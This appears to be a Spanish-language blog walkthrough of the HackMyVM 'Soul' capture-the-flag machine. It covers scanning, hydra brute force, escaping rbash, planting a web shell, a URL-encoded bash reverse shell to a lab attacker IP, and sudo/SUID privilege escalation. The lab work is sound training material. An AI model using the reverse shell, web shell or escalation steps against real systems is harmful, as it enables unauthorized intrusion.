HackMyVM Soul — Linux


Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.
Descargamos el archivo de la página https://hackmyvm.eu/machines/
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.
Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear arp-scan
para ver la dirección IP en nuestra red que sería la 192.168.0.21
.
Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.
Empezamos con un escaneo de puertos y podemos ver que tenemos 2 puertos.
Realizamos un escaneo más profundo de los puertos ya encontrado, pero no vemos más información.
Abrimos el navegador e ingresamos la dirección IP y solo podemos observar una imagen.
Probamos extrayendo si tiene alguna información, nos pide una clave, pero no poseemos, igual enviamos y por suerte nuestra no tiene protección.
Abrimos el archivo extraído y podemos ver un password.
Usando hydra
podemos ver que el usuario es daniel
.
daniel:lionsarebigcats
Ingresamos las credenciales y ya estamos dentro.
Tratamos de cambiar de carpeta, pero vemos que tenemos restricciones en la rbash
.
Probamos algunas cosas para descartar las restricciones y podemos ver lo siguiente.
Pero si solo llamamos a la bash podemos ver que escapamos de las restricciones.
Listando los usuarios vemos que tenemos 2 más y solo daniel
tenía la restricción.
Revisando los permisos SUID podemos ver que tenemos agetty
.
Buscando en GTFOBins vemos como poder usar este permiso SUID.
Ejecutamos el binario, pero vemos que nos indica que no tenemos permisos.
Ya que no tenemos manera de escalar como este usuario debemos ver otra manera. Probaremos creando un archivo que nos genere una web shell. Para ello iremos a la carpeta donde se encuentran los archivos web.
Creamos un archivo con una webshell muy sencilla.
Tratamos de establecer conexión, pero no lo interpreta.
Revisando las configuraciones del servidor podemos ver que el servidor interpreta archivos .php, pero solo si ingresamos empleando el nombre de dominio lonelysoul.hmv
.
Abrimos nuestro archivo hosts
y agregamos el dominio.
Luego de ello si vamos al navegador y agregamos la ubicación del archivo podemos ver que sí nos interpreta el archivo.
Para establecer conexión usamos una revshell para establecer conexión.
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.61%2F1234%200%3E%261%22
iniciamos nuestro listener.
Enviamos la revshell y si se queda cargando la página es una buena señal.
Regresando a nuestro listener vemos que establecimos conexión.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola. Realizamos un sudo -l
y vemos que podemos ejecutar whoami
como el usuario gabriel
, pero veamos que este se llama desde tmp
.
En la carpeta tmp
tratamos de crear un archivo, pero no nos deja, por ello empleamos echo
para crear el archivo, luego de ello agregamos el bash
para establecer conexión.
Ejecutamos el binario y estamos como el usuario gabriel
.
Realizamos un sudo -l
y podemos ver que tenemos el binario hping3
para acceder como peter
.
Buscamos en la página de GTFOBins y podemos ver que tenemos la manera de como escalar privilegios.
Ejecutamos el binario como nos indica y podemos ver que accedimos como peter
.
Realizamos un sudo -l
y vemos que necesitamos unas credenciales. Volvemos a ver permisos root y tenemos agetty
para probar.
Debemos tener en cuenta como explotarlo.
Volvemos a probar a ejecutar el binario y esta vez si tenemos acceso. De esta manera culminamos esta máquina.
Subscribe to my newsletter
Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
